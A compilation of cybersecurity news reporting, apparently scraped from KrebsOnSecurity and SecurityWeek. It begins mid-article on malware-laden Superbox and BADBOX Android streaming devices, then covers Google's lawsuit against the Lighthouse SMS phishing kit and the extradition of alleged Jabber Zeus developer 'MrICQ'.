it seems to rely on lesser-known influencers on places like Youtube and TikTok to promote the devices. Meanwhile, Ashley said, Superbox pays those influencers 50 percent of the value of each device they sell. “It’s weird to me because influencer marketing usually caps compensation at 15 percent, and it means they don’t care about the money,” she said. “This is about building their network.” BADBOX As plentiful as the Superbox is on e-commerce sites, it is just one brand in an ocean of no-name Android-based TV boxes available to consumers. While these devices generally do provide buyers with “free” streaming content, they also tend to include factory-installed malware or require the installation of third-party apps that engage the user’s Internet address in advertising fraud. In July 2025, Google filed a “John Doe” lawsuit (PDF) against 25 unidentified defendants dubbed the “BadBox 2.0 Enterprise,” which Google described as a botnet of over ten million Android streaming devices that engaged in advertising fraud. Google said the BADBOX 2.0 botnet, in addition to compromising multiple types of devices prior to purchase, can also infect devices by requiring the download of malicious apps from unofficial marketplaces. Several of the Android streaming devices flagged in Google’s lawsuit are still for sale on top U.S. retail sites. For example, searching for the “X88Pro 10” and the “T95” Android streaming boxes finds both continue to be peddled by Amazon sellers. Google’s lawsuit came on the heels of a June 2025 advisory from the Federal Bureau of Investigation (FBI), which warned that cyber criminals were gaining unauthorized access to home networks by either configuring the products with malicious software prior to the user’s purchase, or infecting the device as it downloads required applications that contain backdoors, usually during the set-up process. “Once these compromised IoT devices are connected to home networks, the infected devices are susceptible to becoming part of the BADBOX 2.0 botnet and residential proxy services known to be used for malicious activity,” the FBI said. The FBI said BADBOX 2.0 was discovered after the original BADBOX campaign was disrupted in 2024. The original BADBOX was identified in 2023, and primarily consisted of Android operating system devices that were compromised with backdoor malware prior to purchase. Riley Kilmer is founder of Spur, a company that tracks residential proxy networks. Kilmer said Badbox 2.0 was used as a distribution platform for IPidea, a China-based entity that is now the world’s largest residential proxy network. Kilmer and others say IPidea is merely a rebrand of 911S5 Proxy, a China-based proxy provider sanctioned last year by the U.S. Department of the Treasury for operating a botnet that helped criminals steal billions of dollars from financial institutions, credit card issuers, and federal lending programs (the U.S. Department of Justice also arrested the alleged owner of 911S5). How are most IPidea customers using the proxy service? According to the proxy detection service Synthient, six of the top ten destinations for IPidea proxies involved traffic that has been linked to either ad fraud or credential stuffing (account takeover attempts). Kilmer said companies like Grass are probably being truthful when they say that some of their customers are companies performing web scraping to train artificial intelligence efforts, because a great deal of content scraping which ultimately benefits AI companies is now leveraging these proxy networks to further obfuscate their aggressive data-slurping activity. By routing this unwelcome traffic through residential IP addresses, Kilmer said, content scraping firms can make it far trickier to filter out. “Web crawling and scraping has always been a thing, but AI made it like a commodity, data that had to be collected,” Kilmer told KrebsOnSecurity. “Everybody wanted to monetize their own data pots, and how they monetize that is different across the board.” SOME FRIENDLY ADVICE Products like Superbox are drawing increased interest from consumers as more popular network television shows and sportscasts migrate to subscription streaming services, and as people begin to realize they’re spending as much or more on streaming services than they previously paid for cable or satellite TV. These streaming devices from no-name technology vendors are another example of the maxim, “If something is free, you are the product,” meaning the company is making money by selling access to and/or information about its users and their data. Superbox owners might counter, “Free? I paid $400 for that device!” But remember: Just because you paid a lot for something doesn’t mean you are done paying for it, or that somehow you are the only one who might be worse off from the transaction. It may be that many Superbox customers don’t care if someone uses their Internet connection to tunnel traffic for ad fraud and account takeovers; for them, it beats paying for multiple streaming services each month. My guess, however, is that quite a few people who buy (or are gifted) these products have little understanding of the bargain they’re making when they plug them into an Internet router. Superbox performs some serious linguistic gymnastics to claim its products don’t violate copyright laws, and that its customers alone are responsible for understanding and observing any local laws on the matter. However, buyer beware: If you’re a resident of the United States, you should know that using these devices for unauthorized streaming violates the Digital Millennium Copyright Act (DMCA), and can incur legal action, fines, and potential warnings and/or suspension of service by your Internet service provider. According to the FBI, there are several signs to look for that may indicate a streaming device you own is malicious, including: -The presence of suspicious marketplaces where apps are downloaded. -Requiring Google Play Protect settings to be disabled. -Generic TV streaming devices advertised as unlocked or capable of accessing free content. -IoT devices advertised from unrecognizable brands. -Android devices that are not Play Protect certified. -Unexplained or suspicious Internet traffic. This explainer from the Electronic Frontier Foundation delves a bit deeper into each of the potential symptoms listed above.
krebsonsecurity.comNov 24, 2025extracted
Google Sues to Disrupt Chinese SMS Phishing Triad
Google is suing more than two dozen unnamed individuals allegedly involved in peddling a popular China-based mobile phishing service that helps scammers impersonate hundreds of trusted brands, blast out text message lures, and convert phished payment card data into mobile wallets from Apple and Google. In a lawsuit filed in the Southern District of New York on November 12, Google sued to unmask and disrupt 25 “John Doe” defendants allegedly linked to the sale of Lighthouse, a sophisticated phishing kit that makes it simple for even novices to steal payment card data from mobile users. Google said Lighthouse has harmed more than a million victims across 120 countries. Lighthouse is one of several prolific phishing-as-a-service operations known as the “Smishing Triad,” and collectively they are responsible for sending millions of text messages that spoof the U.S. Postal Service to supposedly collect some outstanding delivery fee, or that pretend to be a local toll road operator warning of a delinquent toll fee. More recently, Lighthouse has been used to spoof e-commerce websites, financial institutions and brokerage firms. Regardless of the text message lure or brand used, the basic scam remains the same: After the visitor enters their payment information, the phishing site will automatically attempt to enroll the card as a mobile wallet from Apple or Google. The phishing site then tells the visitor that their bank is going to verify the transaction by sending a one-time code that needs to be entered into the payment page before the transaction can be completed. If the recipient provides that one-time code, the scammers can link the victim’s card data to a mobile wallet on a device that they control. Researchers say the fraudsters usually load several stolen wallets onto each mobile device, and wait 7-10 days after that enrollment before selling the phones or using them for fraud. Google called the scale of the Lighthouse phishing attacks “staggering.” A May 2025 report from Silent Push found the domains used by the Smishing Triad are rotated frequently, with approximately 25,000 phishing domains active during any 8-day period. Google’s lawsuit alleges the purveyors of Lighthouse violated the company’s trademarks by including Google’s logos on countless phishing websites. The complaint says Lighthouse offers over 600 templates for phishing websites of more than 400 entities, and that Google’s logos were featured on at least a quarter of those templates. Google is also pursuing Lighthouse under the Racketeer Influenced and Corrupt Organizations (RICO) Act, saying the Lighthouse phishing enterprise encompasses several connected threat actor groups that work together to design and implement complex criminal schemes targeting the general public. According to Google, those threat actor teams include a “developer group” that supplies the phishing software and templates; a “data broker group” that provides a list of targets; a “spammer group” that provides the tools to send fraudulent text messages in volume; a “theft group,” in charge of monetizing the phished information; and an “administrative group,” which runs their Telegram support channels and discussion groups designed to facilitate collaboration and recruit new members. “While different members of the Enterprise may play different roles in the Schemes, they all collaborate to execute phishing attacks that rely on the Lighthouse software,” Google’s complaint alleges. “None of the Enterprise’s Schemes can generate revenue without collaboration and cooperation among the members of the Enterprise. All of the threat actor groups are connected to one another through historical and current business ties, including through their use of Lighthouse and the online community supporting its use, which exists on both YouTube and Telegram channels.” Silent Push’s May report observed that the Smishing Triad boasts it has “300+ front desk staff worldwide” involved in Lighthouse, staff that is mainly used to support various aspects of the group’s fraud and cash-out schemes. Google alleges that in addition to blasting out text messages spoofing known brands, Lighthouse makes it easy for customers to mass-create fake e-commerce websites that are advertised using Google Ads accounts (and paid for with stolen credit cards). These phony merchants collect payment card information at checkout, and then prompt the customer to expect and share a one-time code sent from their financial institution. Once again, that one-time code is being sent by the bank because the fake e-commerce site has just attempted to enroll the victim’s payment card data in a mobile wallet. By the time a victim understands they will likely never receive the item they just purchased from the fake e-commerce shop, the scammers have already run through hundreds of dollars in fraudulent charges, often at high-end electronics stores or jewelers. Ford Merrill works in security research at SecAlliance, a CSIS Security Group company, and he’s been tracking Chinese SMS phishing groups for several years. Merrill said many Lighthouse customers are now using the phishing kit to erect fake e-commerce websites that are advertised on Google and Meta platforms. “You find this shop by searching for a particular product online or whatever, and you think you’re getting a good deal,” Merrill said. “But of course you never receive the product, and they will phish that one-time code at checkout.” Merrill said some of the phishing templates include payment buttons for services like PayPal, and that victims who choose to pay through PayPal can also see their PayPal accounts hijacked. “The main advantage of the fake e-commerce site is that it doesn’t require them to send out message lures,” Merrill said, noting that the fake vendor sites have more staying power than traditional phishing sites because it takes far longer for them to be flagged for fraud. Merrill said Google’s legal action may temporarily disrupt the Lighthouse operators, and could make it easier for U.S. federal authorities to bring criminal charges against the group. But he said the Chinese mobile phishing market is so lucrative right now that it’s difficult to imagine a popular phishing service voluntarily turning out the lights. Merrill said Google’s lawsuit also can help lay the groundwork for future disruptive actions against Lighthouse and other phishing-as-a-service entities that are operating almost entirely on Chinese networks. According to Silent Push, a majority of the phishing sites created with these kits are sitting at two Chinese hosting companies: Tencent (AS132203) and Alibaba (AS45102). “Once Google has a default judgment against the Lighthouse guys in court, theoretically they could use that to go to Alibaba and Tencent and say, ‘These guys have been found guilty, here are their domains and IP addresses, we want you to shut these down or we’ll include you in the case.'” If Google can bring that kind of legal pressure consistently over time, Merrill said, they might succeed in increasing costs for the phishers and more frequently disrupting their operations. “If you take all of these Chinese phishing kit developers, I have to believe it’s tens of thousands of Chinese-speaking people involved,” he said. “The Lighthouse guys will probably burn down their Telegram channels and disappear for a while. They might call it something else or redevelop their service entirely. But I don’t believe for a minute they’re going to close up shop and leave forever.”
krebsonsecurity.comNov 13, 2025extracted
Ukrainian Extradited to US Faces Charges in Jabber Zeus Cybercrime Case
A Ukrainian national believed to be a developer for the infamous Jabber Zeus cybercrime group has been reportedly extradited from Italy to the US. The man, Yuriy Igorevich Rybtsov, 41, of Donetsk, is allegedly the Jabber Zeus developer MrICQ, who was mentioned in a 2012 indictment charging eight other suspected members of the cybercrime group, investigative journalist Brian Krebs reports. Mainly targeting small to mid-sized businesses, the hacking group used the Zeus banking trojan to steal the victims’ credentials. The gang’s name is derived from its use of Jabber to receive alerts in the form of instant messaging when the victims used one-time passcodes on banking websites. According to the indictment, the Jabber Zeus “crew” used the banking trojan to capture bank account numbers, passwords, PIN numbers, and other sensitive information. Then, they used the stolen information and social engineering to make fraudulent transfers to US bank accounts controlled by money mules. The money mules withdrew the funds or transferred them to overseas bank accounts controlled by co-conspirators. As part of the conspiracy, the group stole millions from victims’ banking accounts. According to the indictment, the group’s activities defrauded Bank of America, First Federal Savings Bank, First National Bank of Omaha, Key Bank, Salisbury Bank & Trust, Union Bank and Trust, and United Bankshares Corporation. Rybtsov, Krebs notes, is mentioned in the indictment as John Doe #3, aka MrICQ. He is accused of handling notifications of newly compromised organizations and of laundering the illegal proceeds from the scheme. Rybtsov allegedly fought the extradition to the US in Italian courts, but lost a final appeal in April 2025. He is currently in custody under an arrest warrant from the FBI. Vyacheslav Penchukov, the leader of Jabber Zeus in Ukraine, was arrested in 2022 and was sentenced in the US last year to 18 years in prison. He was also ordered to pay over $73 million in restitution. Other members of Jabber Zeus, such as Maksim Yakubets, later formed Evil Corp, which is known for using the Dridex trojan in attacks, and then transitioning to ransomware, a report from UK’s National Crime Agency shows. Related: Developer Who Hacked Former Employer’s Systems Sentenced to Prison Related: RapperBot Botnet Disrupted, American Administrator Indicted Related: Scattered Spider Hacker Sentenced to Prison Related: Two Scattered Spider Suspects Arrested in UK; One Charged in US
securityweek.comNov 3, 2025extracted
Alleged Jabber Zeus Coder ‘MrICQ’ in U.S. Custody
A Ukrainian man indicted in 2012 for conspiring with a prolific hacking group to steal tens of millions of dollars from U.S. businesses was arrested in Italy and is now in custody in the United States, KrebsOnSecurity has learned. Sources close to the investigation say Yuriy Igorevich Rybtsov, a 41-year-old from the Russia-controlled city of Donetsk, Ukraine, was previously referenced in U.S. federal charging documents only by his online handle “MrICQ.” According to a 13-year-old indictment (PDF) filed by prosecutors in Nebraska, MrICQ was a developer for a cybercrime group known as “Jabber Zeus.” The Jabber Zeus name is derived from the malware they used — a custom version of the ZeuS banking trojan — that stole banking login credentials and would send the group a Jabber instant message each time a new victim entered a one-time passcode at a financial institution website. The gang targeted mostly small to mid-sized businesses, and they were an early pioneer of so-called “man-in-the-browser” attacks, malware that can silently intercept any data that victims submit in a web-based form. Once inside a victim company’s accounts, the Jabber Zeus crew would modify the firm’s payroll to add dozens of “money mules,” people recruited through elaborate work-at-home schemes to handle bank transfers. The mules in turn would forward any stolen payroll deposits — minus their commissions — via wire transfers to other mules in Ukraine and the United Kingdom. The 2012 indictment targeting the Jabber Zeus crew named MrICQ as “John Doe #3,” and said this person handled incoming notifications of newly compromised victims. The Department of Justice (DOJ) said MrICQ also helped the group launder the proceeds of their heists through electronic currency exchange services. Two sources familiar with the Jabber Zeus investigation said Rybtsov was arrested in Italy, although the exact date and circumstances of his arrest remain unclear. A summary of recent decisions (PDF) published by the Italian Supreme Court states that in April 2025, Rybtsov lost a final appeal to avoid extradition to the United States. According to the mugshot website lockedup[.]wtf, Rybtsov arrived in Nebraska on October 9, and was being held under an arrest warrant from the U.S. Federal Bureau of Investigation (FBI). The data breach tracking service Constella Intelligence found breached records from the business profiling site bvdinfo[.]com showing that a 41-year-old Yuriy Igorevich Rybtsov worked in a building at 59 Barnaulska St. in Donetsk. Further searching on this address in Constella finds the same apartment building was shared by a business registered to Vyacheslav “Tank” Penchukov, the leader of the Jabber Zeus crew in Ukraine. Penchukov was arrested in 2022 while traveling to meet his wife in Switzerland. Last year, a federal court in Nebraska sentenced Penchukov to 18 years in prison and ordered him to pay more than $73 million in restitution. Lawrence Baldwin is founder of myNetWatchman, a threat intelligence company based in Georgia that began tracking and disrupting the Jabber Zeus gang in 2009. myNetWatchman had secretly gained access to the Jabber chat server used by the Ukrainian hackers, allowing Baldwin to eavesdrop on the daily conversations between MrICQ and other Jabber Zeus members. Baldwin shared those real-time chat records with multiple state and federal law enforcement agencies, and with this reporter. Between 2010 and 2013, I spent several hours each day alerting small businesses across the country that their payroll accounts were about to be drained by these cybercriminals. Those notifications, and Baldwin’s tireless efforts, saved countless would-be victims a great deal of money. In most cases, however, we were already too late. Nevertheless, the pilfered Jabber Zeus group chats provided the basis for dozens of stories published here about small businesses fighting their banks in court over six- and seven-figure financial losses. Baldwin said the Jabber Zeus crew was far ahead of its peers in several respects. For starters, their intercepted chats showed they worked to create a highly customized botnet directly with the author of the original Zeus Trojan — Evgeniy Mikhailovich Bogachev, a Russian man who has long been on the FBI’s “Most Wanted” list. The feds have a standing $3 million reward for information leading to Bogachev’s arrest. The core innovation of Jabber Zeus was an alert that MrICQ would receive each time a new victim entered a one-time password code into a phishing page mimicking their financial institution. The gang’s internal name for this component was “Leprechaun,” (the video below from myNetWatchman shows it in action). Jabber Zeus would actually re-write the HTML code as displayed in the victim’s browser, allowing them to intercept any passcodes sent by the victim’s bank for multi-factor authentication. “These guys had compromised such a large number of victims that they were getting buried in a tsunami of stolen banking credentials,” Baldwin told KrebsOnSecurity. “But the whole point of Leprechaun was to isolate the highest-value credentials — the commercial bank accounts with two-factor authentication turned on. They knew these were far juicier targets because they clearly had a lot more money to protect.” Baldwin said the Jabber Zeus trojan also included a custom “backconnect” component that allowed the hackers to relay their bank account takeovers through the victim’s own infected PC. “The Jabber Zeus crew were literally connecting to the victim’s bank account from the victim’s IP address, or from the remote control function and by fully emulating the device,” he said. “That trojan was like a hot knife through butter of what everyone thought was state-of-the-art secure online banking at the time.” Although the Jabber Zeus crew was in direct contact with the Zeus author, the chats intercepted by myNetWatchman show Bogachev frequently ignored the group’s pleas for help. The government says the real leader of the Jabber Zeus crew was Maksim Yakubets, a 38-year Ukrainian man with Russian citizenship who went by the hacker handle “Aqua.” The Jabber chats intercepted by Baldwin show that Aqua interacted almost daily with MrICQ, Tank and other members of the hacking team, often facilitating the group’s money mule and cashout activities remotely from Russia. The government says Yakubets/Aqua would later emerge as the leader of an elite cybercrime ring of at least 17 hackers that referred to themselves internally as “Evil Corp.” Members of Evil Corp developed and used the Dridex (a.k.a. Bugat) trojan, which helped them siphon more than $100 million from hundreds of victim companies in the United States and Europe. This 2019 story about the government’s $5 million bounty for information leading to Yakubets’s arrest includes excerpts of conversations between Aqua, Tank, Bogachev and other Jabber Zeus crew members discussing stories I’d written about their victims. Both Baldwin and I were interviewed at length for a new weekly six-part podcast by the BBC that delves deep into the history of Evil Corp. Episode One focuses on the evolution of Zeus, while the second episode centers on an investigation into the group by former FBI agent Jim Craig.
krebsonsecurity.comNov 2, 2025extracted